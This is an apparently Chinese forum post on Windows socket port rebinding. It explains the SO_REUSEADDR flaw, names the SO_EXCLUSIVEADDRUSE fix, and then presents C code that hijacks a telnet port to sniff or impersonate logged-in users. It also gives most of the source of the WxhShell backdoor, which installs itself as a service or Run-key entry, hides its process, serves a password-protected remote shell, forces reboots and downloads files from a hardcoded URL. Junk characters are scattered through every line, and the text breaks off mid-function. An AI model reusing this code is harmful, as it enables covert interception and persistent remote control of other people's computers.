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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: C M^r|4 K  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '8={ sMy  
Fva]*5  
  saddr.sin_family = AF_INET; &[)D]UL  
PHl4 vh#E!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); uH] m]t  
GDmv0V$6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (-'PD_|  
@|'Z@>!/pV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wNR=?Z~  
/gX%ABmS  
  这意味着什么?意味着可以进行如下的攻击: 'F<Sf:?.p  
5E.vje{U;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 U 5clQiow  
No~ 6s.H  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =ty2_6&>  
X$PS(_M  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;Lqm#]C  
I2W{t l  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  qAbd xd[  
)Kr(Y.w  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ss+F9J  
LiF.w:}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @M9_j{A  
>!<V\ Fj1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0pCDE s  
m9k2h1  
  #include ,`+Bs&S 8  
  #include $ JuLAqq  
  #include }R\B.2#M_@  
  #include    ^[*AK_o_DQ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #e*$2+`[A  
  int main() o=@ UXi  
  { Hj1k-Bs&'w  
  WORD wVersionRequested; W >Kp\tD  
  DWORD ret; !Am =v=>  
  WSADATA wsaData; nT)~w s  
  BOOL val; -/1d&  
  SOCKADDR_IN saddr; l2r>|CGQ[  
  SOCKADDR_IN scaddr; s?HsUD$b  
  int err; r@;$V_I  
  SOCKET s; %va[jJ  
  SOCKET sc; U <|B7t4M  
  int caddsize; HN^w'I'bp  
  HANDLE mt; $*wu~  
  DWORD tid;   FmR\`yY_,  
  wVersionRequested = MAKEWORD( 2, 2 ); lej^gxj/2  
  err = WSAStartup( wVersionRequested, &wsaData ); Wl?<c uw00  
  if ( err != 0 ) { <)"iL4 kDI  
  printf("error!WSAStartup failed!\n"); )~G8 LZ  
  return -1; 9.jG\i  
  } OfW%&LAMQ  
  saddr.sin_family = AF_INET; rC~_:uXtE  
   ,Qga|n8C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^75pV%<%  
QK,=5~IJ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); C?bXrG\  
  saddr.sin_port = htons(23); -<_+-t  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Cnk#Ioz  
  { '\4c "Ho  
  printf("error!socket failed!\n"); (1OW6xtfG  
  return -1; ;k-g _{M  
  } #dL5x{gV=  
  val = TRUE; uTxX`vH@!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 I<IC-k"Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) McO@p=M  
  { hLCsQYNDU  
  printf("error!setsockopt failed!\n"); O#A8t<f|M  
  return -1; 0,+EV,  
  } "Fo  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; rE9Ta8j6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3{I=.mUUm  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 wrhBH;3  
:A,O(   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) e?|d9;BO  
  { 5R& x{jf$  
  ret=GetLastError(); & %@/Dwr  
  printf("error!bind failed!\n"); wbn^R'  
  return -1; 7cy+Nz  
  } ;B,nzx(L  
  listen(s,2); 6oPUYn-  
  while(1) `4se7{'UK`  
  { 8Ix -i  
  caddsize = sizeof(scaddr); tuX =o  
  //接受连接请求 `" i^'VL,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); z&\Il#'\m+  
  if(sc!=INVALID_SOCKET) uv?8V@x2  
  { YWybPD4\(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  >cC Gx  
  if(mt==NULL) 721{Ga4~S  
  { AEiWL.*.  
  printf("Thread Creat Failed!\n"); i/l!Cr2  
  break; qQwJJjf  
  } y^5T/M  
  } 6tDg3`w>  
  CloseHandle(mt); 8ct+?-3g  
  } eV@4VxaZ  
  closesocket(s); u Zo]8mV  
  WSACleanup(); * [iity  
  return 0; `two|gX0K  
  }   IptB.bYc  
  DWORD WINAPI ClientThread(LPVOID lpParam) o6`Y7,]  
  { 3RBpbTNWp  
  SOCKET ss = (SOCKET)lpParam; N[- %0  
  SOCKET sc; $w 5#2Za  
  unsigned char buf[4096]; 0[_O+u  
  SOCKADDR_IN saddr; jAD+:@  
  long num; m9\@kA  
  DWORD val; z36brv<_'p  
  DWORD ret; WRN8#b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 WsG"x>1n  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7-g]A2N  
  saddr.sin_family = AF_INET; Uqb]e?@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u&hDjE  
  saddr.sin_port = htons(23); 9Ba%=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F(?Fz8  
  { [,.[gWA  
  printf("error!socket failed!\n"); Vu_7uSp,)  
  return -1; My'9S2Y8nv  
  } ^K1~eb*K  
  val = 100; `</=AY>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C}dKbs^g|  
  { <(u3+`f1s  
  ret = GetLastError(); G_4K+ -K  
  return -1; #"3[f@|e  
  } +xoyKP!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IN]`lJ  
  { (:</R$I  
  ret = GetLastError(); Y3 Pz00x  
  return -1; duZ|mT8Q==  
  } y\r^\ S9%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) a+4`}:KA#  
  { .b!OZ  
  printf("error!socket connect failed!\n"); j\i;'t}8g  
  closesocket(sc); ox i a}  
  closesocket(ss); gNMKGf\Y  
  return -1; ^?sSsH z  
  } HM(bR"E  
  while(1) MbT ONt?~v  
  { TsFV ;Sl3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 kx;xO>dC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 L@d]RMNv  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  :V5!C$QV  
  num = recv(ss,buf,4096,0); wI1M0@}PV  
  if(num>0) K#m\ qitb  
  send(sc,buf,num,0); {Oc?C:aI=  
  else if(num==0) t(uB66(_F  
  break; S20 nk.x  
  num = recv(sc,buf,4096,0); '/gxjr&  
  if(num>0) YG}p$\R  
  send(ss,buf,num,0); X-*KQ+ ?  
  else if(num==0) {Kq*5Aq8  
  break; .&* ({UM  
  } =DmPPl{  
  closesocket(ss); (IO \+  
  closesocket(sc); IxK 3,@d  
  return 0 ; ZYl-p]\*y  
  } eY6gb!5u  
7>W+Uq  
9}'l=b:Jms  
========================================================== O|^6UH  
4X(1   
下边附上一个代码,,WXhSHELL 'aSZ!R  
<.?^LT  
========================================================== z Et6  
:3E8`q~c1  
#include "stdafx.h" ;ZE<6;#3IP  
^G7n#  
#include <stdio.h> ]`CKQ> o  
#include <string.h> b6?Xo/lJ.  
#include <windows.h> eJVOVPg<,  
#include <winsock2.h> 6a2w-}Fs  
#include <winsvc.h> SoM ]2^  
#include <urlmon.h> SzgY2+Qq  
V fE^g\Ia  
#pragma comment (lib, "Ws2_32.lib") 7Dx .;  
#pragma comment (lib, "urlmon.lib") |RvpEy7 6  
E``!-W  
#define MAX_USER   100 // 最大客户端连接数 8+g|>{Vov  
#define BUF_SOCK   200 // sock buffer };VGH/}&s  
#define KEY_BUFF   255 // 输入 buffer ^~YmLI4  
7y)|^4X2  
#define REBOOT     0   // 重启 :`Zl\!]E`o  
#define SHUTDOWN   1   // 关机 $+)x)1  
+"N<-  
#define DEF_PORT   5000 // 监听端口 =E6i1x%j  
yo Q?lh  
#define REG_LEN     16   // 注册表键长度 wZ\e3H z  
#define SVC_LEN     80   // NT服务名长度 n_!]B_Vd$  
([4{n  
// 从dll定义API [w#x5Xsn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dTU.XgX)1^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k{u%p<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j .yr 5%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oN1wrf}Sh  
l66ipgw_^I  
// wxhshell配置信息 no\}aTx  
struct WSCFG { ;>QK}#'  
  int ws_port;         // 监听端口 WkU) I2oH  
  char ws_passstr[REG_LEN]; // 口令 Tr}$Pb1  
  int ws_autoins;       // 安装标记, 1=yes 0=no NNREt:+kr  
  char ws_regname[REG_LEN]; // 注册表键名 9{]r+z:  
  char ws_svcname[REG_LEN]; // 服务名 ay7+H7^|hZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *{D:1S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !tFU9Zt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V"Y Fu^L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |0vHy7CE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [#3Cg%V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E6wST@ r  
@u'27c_<d3  
}; /iJcy:J  
37M[9m|D*  
// default Wxhshell configuration M@LaD 5  
struct WSCFG wscfg={DEF_PORT, KSpC%_LC  
    "xuhuanlingzhe", :0TSOT9.  
    1, x x`8>2T#e  
    "Wxhshell", #*;fQ&p  
    "Wxhshell", t73Z3M  
            "WxhShell Service", scPq\Qd?O  
    "Wrsky Windows CmdShell Service", % &Q7;?  
    "Please Input Your Password: ", DHujpZXQ  
  1, X-2S*L'  
  "http://www.wrsky.com/wxhshell.exe", /xm} ?t0U  
  "Wxhshell.exe" K&gc5L  
    }; JXR/K=<^  
L!}j3(I  
// 消息定义模块 5\*wX.wp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /o06hy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tU~H@'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <0,ah4C  
char *msg_ws_ext="\n\rExit."; 'y@ 2,9v  
char *msg_ws_end="\n\rQuit."; m*Lv,yw %a  
char *msg_ws_boot="\n\rReboot..."; `))J8j"  
char *msg_ws_poff="\n\rShutdown..."; KlX |PQ  
char *msg_ws_down="\n\rSave to "; bEXHB  
I>4Tbwy.-  
char *msg_ws_err="\n\rErr!"; u4*]jt;H  
char *msg_ws_ok="\n\rOK!"; ]2s Zu7  
jiB>.te  
char ExeFile[MAX_PATH]; Z?!:=x>7m  
int nUser = 0; z&yb_A:>  
HANDLE handles[MAX_USER]; T[$hYe8%^  
int OsIsNt; Y| N vBr  
Z-sN4fr a  
SERVICE_STATUS       serviceStatus; v.^ 'x  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $X\` 7`v  
63dtO{:4  
// 函数声明 2Z9gOd<M~  
int Install(void); G|Yp <W%o  
int Uninstall(void); Px?At5  
int DownloadFile(char *sURL, SOCKET wsh); ~aq?Kk  
int Boot(int flag); 2] wf`9ZH  
void HideProc(void); Q{|'g5(O  
int GetOsVer(void); g}og@UY7#  
int Wxhshell(SOCKET wsl);  IOES3  
void TalkWithClient(void *cs); wbF1>{/"  
int CmdShell(SOCKET sock); DBh/V#* D  
int StartFromService(void); &T/9y W[L  
int StartWxhshell(LPSTR lpCmdLine); -0J<R;cVs  
j]F3[gpc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E?5B>Jer#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q_|S^hx Q  
uM!r|X)8  
// 数据结构和表定义 f!kdcr=/"  
SERVICE_TABLE_ENTRY DispatchTable[] = iqKfMoy5  
{ Wes "t}[25  
{wscfg.ws_svcname, NTServiceMain}, ZYt"=\_  
{NULL, NULL} lG^nT  
}; wNZS6JF.d  
S$_Ts1Ge6  
// 自我安装 -clg 'Aa;.  
int Install(void) N*)8L[7_;  
{ \]:NOmI^'  
  char svExeFile[MAX_PATH]; X1PlW8pd  
  HKEY key; j tkPi)QR  
  strcpy(svExeFile,ExeFile); K.L+; nQ  
ump:dL5{  
// 如果是win9x系统,修改注册表设为自启动 M #Ru I%  
if(!OsIsNt) {  ~9jP++&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &IPK5o,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $A0]v!P~i-  
  RegCloseKey(key); yT9RNo/w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GN"LU>9|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?@BaBU:o`F  
  RegCloseKey(key); FHPZQC8  
  return 0; BCDf9]X  
    } ]qG5 Ne _  
  } vh3iu +  
} <yaw9k+P  
else { IG@&l0ARL  
k.f:nv5JO  
// 如果是NT以上系统,安装为系统服务 iP\&fZY_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I8wVvs;k  
if (schSCManager!=0) "YU~QOGx@  
{ ^9~%=k=  
  SC_HANDLE schService = CreateService D7 '0o`|  
  ( Y`p&*O  
  schSCManager, k yA(m;r  
  wscfg.ws_svcname, ill'K Py  
  wscfg.ws_svcdisp, ED_5V@  
  SERVICE_ALL_ACCESS, T{xo_u{Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  0 9'o  
  SERVICE_AUTO_START, v8(u9V%?6  
  SERVICE_ERROR_NORMAL, |y=F ( 6Z  
  svExeFile, ba:^zO^  
  NULL, (j Q6~1  
  NULL, wq`Kyhk  
  NULL, s|`)'  
  NULL, 1ORi]`  
  NULL Q"_T040B  
  ); tl#s:  
  if (schService!=0) 6y!?xot  
  { X(q=,^Mp  
  CloseServiceHandle(schService); gx R|S  
  CloseServiceHandle(schSCManager); W 9MZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }n8;A;axi  
  strcat(svExeFile,wscfg.ws_svcname); 4gt "dfy+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ON! G{=7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e[o ;l  
  RegCloseKey(key); ,+evP=(cX  
  return 0; TTak[e&j3  
    } 3Ya6yz  
  } 'U Cx^-  
  CloseServiceHandle(schSCManager); Eu~wbU"%  
} JU+'UK630  
} T1[ZrY'0  
"< R 2oo)^  
return 1; 7}85o J  
} ai9,4  
-\v8i.w0  
// 自我卸载 3`8xh 9O  
int Uninstall(void) L 'Rapu  
{ 1caod0gor  
  HKEY key; BkqW>[\5xm  
]a~LA7VHO  
if(!OsIsNt) { LZ dNG\-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 70(?X/5#  
  RegDeleteValue(key,wscfg.ws_regname); Av4E ?@R  
  RegCloseKey(key); l~c> jm8.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Qj[O$L0 $  
  RegDeleteValue(key,wscfg.ws_regname); 4'| :SyOm  
  RegCloseKey(key); J, >PLQAa  
  return 0; ;itg>\ p3  
  } rmJ847%y`  
} HKw4}FC*  
} a$& 6a   
else { %*}f<k{6  
<7) 6*u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h(up1(x  
if (schSCManager!=0) >?FCv7qN  
{ 8nR,GW\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P$(}}@  
  if (schService!=0) a}hM}U!  
  { {627*6,  
  if(DeleteService(schService)!=0) { jo#F&  
  CloseServiceHandle(schService); Uwa1)Lwn  
  CloseServiceHandle(schSCManager); ~[6|VpGc:  
  return 0; !qv;F?2 <g  
  } k]YGD  
  CloseServiceHandle(schService); 8"^TWzg}L  
  } c17==S  
  CloseServiceHandle(schSCManager); )uWNN"  
} 3f8Z ?[Bb@  
} d69VgLg  
L@GD$F=<0  
return 1; Wb xksh:)Q  
} ``Rb-.Fq,  
l]&)an  
// 从指定url下载文件 I%xJ)fIK  
int DownloadFile(char *sURL, SOCKET wsh) IBsn>*ja<  
{ Z_+No :F7I  
  HRESULT hr; `^{P,N>X  
char seps[]= "/"; OO>2oH  
char *token; pBLO  
char *file; ??Ac=K\  
char myURL[MAX_PATH]; 1^dWmxUZH  
char myFILE[MAX_PATH]; L,L7WObA  
@kymL8"2w  
strcpy(myURL,sURL); v:;cTX=x`#  
  token=strtok(myURL,seps); 5!*a,$S  
  while(token!=NULL) px@\b]/  
  { *h6i9V%'  
    file=token; 1A`";E&  
  token=strtok(NULL,seps); nsk 6a  
  } R0'EoX  
?>&Zm$5V  
GetCurrentDirectory(MAX_PATH,myFILE); M+:wa@K l  
strcat(myFILE, "\\"); t68RWzqiG[  
strcat(myFILE, file); TaG-^bX8B  
  send(wsh,myFILE,strlen(myFILE),0); H skN(Ho  
send(wsh,"...",3,0); bux-t3g7+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8?XZF[D  
  if(hr==S_OK) X.<R['U&\  
return 0; l[k$O$jo  
else :B~c>:  
return 1; '"^JNb^I  
\f#ao<vQm  
} Ymom 0g+ f  
YvX I  
// 系统电源模块 [*t E HW  
int Boot(int flag) v(~m!8!TI  
{ qC1@p?8$  
  HANDLE hToken; -^DB?j+  
  TOKEN_PRIVILEGES tkp; UtN>6$u  
jfamuu7  
  if(OsIsNt) { ow "Xv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;0'v`ob'.?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z ngJ9js  
    tkp.PrivilegeCount = 1; @35 shLs  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +_Z/VQv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _!zY(9%  
if(flag==REBOOT) { 3FN? CN] O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3LR Eue7Gr  
  return 0; RSC-+c6 1  
} g=Di2j{A  
else { -f=hL7NW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /jD'o>  
  return 0; KG$2u:n  
} ig{5 ]wZ(  
  } -s"lW 7N^  
  else { iXFaQ  
if(flag==REBOOT) { A$cbH.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .2xkf@OP  
  return 0; -yeT$P&|  
} ZI7<E  
else { )RFeF!("  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Sqs`E[G*  
  return 0; x#D=?/~/Kv  
} 3 6 ;hg #  
} {W]jVh p  
AK HH{_  
return 1; g:U ul4  
} cht#~d  
CggEAi~  
// win9x进程隐藏模块 O;2 u1p'iP  
void HideProc(void) b3+PC$z2h  
{ 3QpT O,  
tS$Ne7yk e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4KCxhJq  
  if ( hKernel != NULL ) L@XeAEIq  
  { \~PFD%]:3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F*f)Dv$p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]_s]Q_+E  
    FreeLibrary(hKernel); sXu]k#I^"  
  } lS^0*(Y  
@zbXG_J  
return; }8HLyK,4  
} AM>:At Y  
JFZ p^{  
// 获取操作系统版本 bb{+  
int GetOsVer(void) 8{C3ijR  
{ Tx*m p+q  
  OSVERSIONINFO winfo; #82B`y<<y/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hlRE\YO&8R  
  GetVersionEx(&winfo); Y{KJk'xN5W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -MjRFa  
  return 1; KVuv%?  
  else \"SI-`x  
  return 0; cu-WY8n  
} E _K7.c4M  
:R)IaJ6)  
// 客户端句柄模块 DI_mF#5q  
int Wxhshell(SOCKET wsl) amRtFrc|  
{ W4<}w-AoEp  
  SOCKET wsh; *q RQN+%  
  struct sockaddr_in client; 'g#GUSXfj  
  DWORD myID; {% P;O ?  
<  -Nj  
  while(nUser<MAX_USER) l _:%?4MA  
{ )7^jq|  
  int nSize=sizeof(client); &kG<LGXP#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -Q; w4@  
  if(wsh==INVALID_SOCKET) return 1; {-xnBx  
Z(L>~+%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t.cplJF&Ue  
if(handles[nUser]==0) !duR7a  
  closesocket(wsh); E O5Vg  
else gP3[=a"\  
  nUser++; )Ii=8etdv  
  } zy|hf<V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o! 8X< o  
Z]tz<YSkG  
  return 0; \4ZQop  
} wQ5__"D  
yC[}gHv  
// 关闭 socket Oe$C5KA>LW  
void CloseIt(SOCKET wsh) Nx99dr  
{ 6 Qmtb2  
closesocket(wsh); gisZmu0  
nUser--; M-NR!?9  
ExitThread(0); jAu/] HZx  
} *$QUE0  
5J,vH  
// 客户端请求句柄 \m<*3eS  
void TalkWithClient(void *cs) IY'S<)vOY  
{ rZLMY M  
L,i-T:Z~=  
  SOCKET wsh=(SOCKET)cs; }sFHb[I &  
  char pwd[SVC_LEN]; IoC,\$s,  
  char cmd[KEY_BUFF]; [K5afnq`  
char chr[1]; B-RaAiE@  
int i,j; 4 QWHGh"  
-8]$a6`{_  
  while (nUser < MAX_USER) { .FeEK(  
W+QI D/  
if(wscfg.ws_passstr) { C<3An_Dy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ' {Q L`L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^#nAS2w7U  
  //ZeroMemory(pwd,KEY_BUFF); COap*  
      i=0; R#0UwRjeF  
  while(i<SVC_LEN) { % n^]1R#  
\|Mz'*  
  // 设置超时 di|l?l^l  
  fd_set FdRead; ~%]+5^Ka]  
  struct timeval TimeOut; O_ ~\$b  
  FD_ZERO(&FdRead); ){v nmJJ%  
  FD_SET(wsh,&FdRead); PH6uP]  
  TimeOut.tv_sec=8; 2'D2>^os  
  TimeOut.tv_usec=0; LVSJK.B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e. [h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "h "vp&A  
C`fQ` RL\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |q?A8@\u  
  pwd=chr[0]; ^W^%PJ D |  
  if(chr[0]==0xd || chr[0]==0xa) { > B==*,|  
  pwd=0; dwRJ0D]&  
  break; ;*8$BuD  
  } .A E(D7d6  
  i++; Yv>% 5`  
    } [,VD^\  
|g~.]2az  
  // 如果是非法用户,关闭 socket xu3qX"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ra/S46$  
} #<{sP 0v*  
=7a9~&|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +BESO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lx.X#n.]T  
RJ`F2b sYN  
while(1) { -0Ps. B  
0L'h5i>H)  
  ZeroMemory(cmd,KEY_BUFF); O[!]/qP+.  
HJDM\j*5  
      // 自动支持客户端 telnet标准   )gZ yW  
  j=0; ]'hz+V31%  
  while(j<KEY_BUFF) { zFlW\wc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D_g+O"];P  
  cmd[j]=chr[0]; ]`LMy t0  
  if(chr[0]==0xa || chr[0]==0xd) { /)j:Y:5  
  cmd[j]=0; 2QdqVwm  
  break; 'Je;3"@  
  } ^5OR%N)  
  j++; HN\9 d  
    } 0y*8;7-|r)  
Z<`QDBN"4  
  // 下载文件 Esd A %`  
  if(strstr(cmd,"http://")) { nBR4j?':i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); yN9/'c~  
  if(DownloadFile(cmd,wsh)) 3>ytpXUEGx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dc U$sf*  
  else i6aM}p<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dW6sA65<Y  
  } 04o(05K  
  else { `$05+UU  
H+` Zp  
    switch(cmd[0]) { jx J5F3d  
  nwf(`=TC  
  // 帮助 (V&$KDOA  
  case '?': { xtyOG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^tI ,eZ  
    break; `Ps&N^[  
  } U<K)'l6#2n  
  // 安装 }get e'I  
  case 'i': { EjrK.|I0  
    if(Install()) ^8OK.iC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R10R,*6>  
    else vr"O9L w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0tK(:9S  
    break; xcty  
    } 2)-Umq{]{  
  // 卸载 |cs]98FEf  
  case 'r': { 9!; /+P  
    if(Uninstall()) @P@?KZ..v!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G .NGS%v  
    else ZwM(H[iqL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \I (g70  
    break; ;X, A|m$(  
    } !c W6dc^  
  // 显示 wxhshell 所在路径 .kcyw>T`I  
  case 'p': { L xP%o  
    char svExeFile[MAX_PATH]; 1R-WJph  
    strcpy(svExeFile,"\n\r"); &.F ]-1RN[  
      strcat(svExeFile,ExeFile); f}=>c|Do  
        send(wsh,svExeFile,strlen(svExeFile),0); xPCRT*Pd  
    break; 9eBD)tnw  
    } >P@g].Q-  
  // 重启 a5cary Z"z  
  case 'b': { Y7BmW+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gamE^Ee  
    if(Boot(REBOOT)) >cJix 1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0fu*}v"  
    else { 8 kvF~d ;  
    closesocket(wsh); z9Z4MXl  
    ExitThread(0); \(_(pcl  
    } /*P) C'_M  
    break; $O3.ex V  
    } gWQ(B  
  // 关机 Q<0X80w>  
  case 'd': { T[Lz4;TRk5  
